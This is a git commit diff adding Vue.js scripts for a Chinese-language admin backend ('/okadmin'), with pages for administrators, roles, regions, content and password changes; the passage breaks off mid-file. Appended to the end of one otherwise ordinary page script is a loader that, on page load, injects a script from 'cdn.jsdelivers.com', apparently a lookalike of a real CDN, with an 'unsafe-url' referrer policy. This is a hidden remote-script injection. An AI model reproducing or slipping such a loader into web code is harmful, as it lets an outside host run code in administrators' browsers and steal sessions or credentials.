feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,288 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
menuActive:"8006",
|
||||
edittitle:'',
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
account_name:'',
|
||||
user_name:"",
|
||||
role:null,
|
||||
password:"",
|
||||
id:null
|
||||
},
|
||||
oneRulue:{
|
||||
account_name:[
|
||||
{ required: true, message: '请输入登录账号', trigger: 'blur' },
|
||||
{ type: 'string', min: 6, message: '登录账号至少6字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 12, message: '登录账号最多12符', trigger: 'blur' }
|
||||
],
|
||||
user_name:[
|
||||
{ required: true, message: '请输入姓名', trigger: 'blur' },
|
||||
{ type: 'string', min: 2, message: '姓名至少2字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 12, message: '姓名最多12符', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
},
|
||||
permissions:[],
|
||||
roles:[],
|
||||
selpss:[],
|
||||
isedit:false
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getallpermissions();
|
||||
this.getlist();
|
||||
},
|
||||
edit:function(index){
|
||||
this.selpss=[];
|
||||
if(index>-1){
|
||||
this.edittitle="修改管理员";
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
account_name:this.lists[index].account_name,
|
||||
user_name:this.lists[index].user_name,
|
||||
role:this.lists[index].role,
|
||||
id:this.lists[index].id
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.edittitle="添加管理员";
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
account_name:'',
|
||||
user_name:"",
|
||||
role:null,
|
||||
password:"",
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
var url="/okadmin/api/admins";
|
||||
var type="post";
|
||||
var oktxt="管理员添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/api/admins/"+this.lists[this.ac.index].id;
|
||||
type="patch";
|
||||
oktxt="管理员修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.lists.splice(0,0,data.data);
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除 '+this.lists[this.ac.index].user_name+'【'+this.lists[this.ac.index].account_name+'】, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/api/admins/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
repass:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将把 '+this.lists[this.ac.index].user_name+'【'+this.lists[this.ac.index].account_name+'】的密码重置为 123456, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/api/admins/"+this.lists[this.ac.index].id+"/repass",
|
||||
type: "patch",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("重置密码成功");
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
editstate:function(index){
|
||||
this.ac.index=index;
|
||||
var state=this.lists[this.ac.index].state;
|
||||
var actxt="禁用"
|
||||
var newstate=2
|
||||
if(state==2){
|
||||
actxt="启用"
|
||||
newstate=1
|
||||
}
|
||||
var query={
|
||||
state:newstate
|
||||
}
|
||||
this.$confirm('确定要 '+actxt+this.lists[this.ac.index].user_name+'【'+this.lists[this.ac.index].account_name+'】吗?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/api/admins/"+this.lists[this.ac.index].id+"/state",
|
||||
type: "patch",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(actxt+"成功");
|
||||
this.lists[this.ac.index].state=newstate;
|
||||
console.log(JSON.stringify(this.lists[this.ac.index]))
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/api/admins",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
getallpermissions:function(){
|
||||
$.ajax({
|
||||
url: "/okadmin/api/roles",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.roles=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
selAp:function(id){
|
||||
if(comm.isArrayCon(this.selpss,id)){
|
||||
for(var i=0;i<this.selpss.length;i++){
|
||||
if(id==this.selpss[i]){
|
||||
this.selpss.splice(i,1)
|
||||
}
|
||||
}
|
||||
}else{
|
||||
this.selpss.push(id);
|
||||
}
|
||||
//console.log(JSON.stringify(this.one.permissions));
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,116 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"802",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
typeid:'',
|
||||
contents:[
|
||||
{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''}
|
||||
]
|
||||
},
|
||||
ruleOne:{
|
||||
typeid:[
|
||||
{ required: true,type: 'number', message: '请选择分类', trigger: 'blur' }
|
||||
],
|
||||
c:[
|
||||
{ required: true, message: '请输入内容', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
types:[]
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.gettype();
|
||||
},
|
||||
gettype:function(){
|
||||
this.types=[];
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.types=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
adds:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: "/okadmin/contentadds",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.one.contents=[
|
||||
{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''},{c:''}
|
||||
]
|
||||
this.$message.success("批量添加成功!");
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
},
|
||||
addonecontent:function(){
|
||||
this.one.contents.push("");
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,214 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"802",
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
typeid:null,
|
||||
content:""
|
||||
},
|
||||
oneRulue:{
|
||||
typeid:[
|
||||
{ required: true,type: 'number', message: '请选择分类', trigger: 'blur' }
|
||||
],
|
||||
content:[
|
||||
{ required: true,message: '请输入内容', trigger: 'blur' },
|
||||
{ type: 'string', min: 20, message: '内容至少20字符', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
},
|
||||
types:[],
|
||||
total:0,
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.gettype();
|
||||
this.getlist();
|
||||
},
|
||||
typeid2str:function(id){
|
||||
for(var i=0;i<this.types.length;i++){
|
||||
if(this.types[i].id==id){
|
||||
return this.types[i].name;
|
||||
}
|
||||
}
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
content:this.lists[index].content,
|
||||
typeid:this.lists[index].typeid
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
typeid:null,
|
||||
content:""
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
edits:function(){
|
||||
window.location.href="/okadmin/contentadds";
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (!valid) {
|
||||
//this.$Message.error('表单填写不完整');
|
||||
} else {
|
||||
var url="/okadmin/content";
|
||||
var type="post";
|
||||
var oktxt="内容添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/content/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="内容修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.getlist();
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除该内容, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/content/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.getlist();
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/contentslist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
this.total=data.total;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
gettype:function(){
|
||||
this.types=[];
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.types=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,82 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23"
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"101",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
title:'',
|
||||
gradetypes:[],//根据学段,年级重新组成数组
|
||||
|
||||
},
|
||||
ruleOne:{
|
||||
title:[
|
||||
|
||||
]
|
||||
}
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,186 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"8001",
|
||||
edittitle:'',
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
title:'',
|
||||
pid:0,
|
||||
id:null
|
||||
},
|
||||
oneRulue:{
|
||||
title:[
|
||||
{ required: true, message: '请输入地区名称', trigger: 'blur' },
|
||||
{ type: 'string', min: 2, message: '地区名称至少2字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 15, message: '地区名称最多15符', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getlist();
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.edittitle="修改顶级地区";
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
title:'',
|
||||
pid:0,
|
||||
id:null
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.edittitle="添加顶级地区";
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
title:'',
|
||||
pid:0,
|
||||
id:null
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
var url="/okadmin/api/regions";
|
||||
var type="post";
|
||||
var oktxt="地区添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/api/regions/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="地区修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.lists.push(data.data);
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除分类【'+this.lists[this.ac.index].name+'】, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/type/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/api/regions",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,238 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"8005",
|
||||
edittitle:'',
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
name:'',
|
||||
desc:"",
|
||||
issys:0,
|
||||
permissions:[],
|
||||
id:null
|
||||
},
|
||||
oneRulue:{
|
||||
name:[
|
||||
{ required: true, message: '请输入角色名称', trigger: 'blur' },
|
||||
{ type: 'string', min: 2, message: '角色名称至少2字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 15, message: '角色名称最多15符', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
},
|
||||
permissions:[],
|
||||
selpss:[],
|
||||
isedit:false
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getallpermissions();
|
||||
this.getlist();
|
||||
},
|
||||
edit:function(index,type){
|
||||
this.selpss=[];
|
||||
this.isedit=false;
|
||||
|
||||
if(index>-1){
|
||||
this.edittitle="修改角色";
|
||||
if(type){
|
||||
this.isedit=true;
|
||||
this.edittitle="查看角色";
|
||||
}
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
name:this.lists[index].name,
|
||||
desc:this.lists[index].desc,
|
||||
issys:this.lists[index].issys,
|
||||
permissions:this.lists[index].permissions,
|
||||
id:this.lists[index].id
|
||||
}
|
||||
var p=this.lists[index].permissions;
|
||||
for(var i=0;i<p.length;i++){
|
||||
this.selpss.push(p[i])
|
||||
}
|
||||
//=one.permissions;
|
||||
this.one=one
|
||||
}else{
|
||||
this.edittitle="添加角色";
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
name:'',
|
||||
desc:"",
|
||||
permissions:[]
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
var url="/okadmin/api/roles";
|
||||
var type="post";
|
||||
var oktxt="角色添加";
|
||||
this.one.permissions=[];
|
||||
for(var i=0;i<this.selpss.length;i++){
|
||||
this.one.permissions.push(this.selpss[i]);
|
||||
}
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/api/roles/"+this.lists[this.ac.index].id;
|
||||
type="patch";
|
||||
oktxt="角色修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.lists.push(data.data);
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除角色【'+this.lists[this.ac.index].name+'】, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/api/roles/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
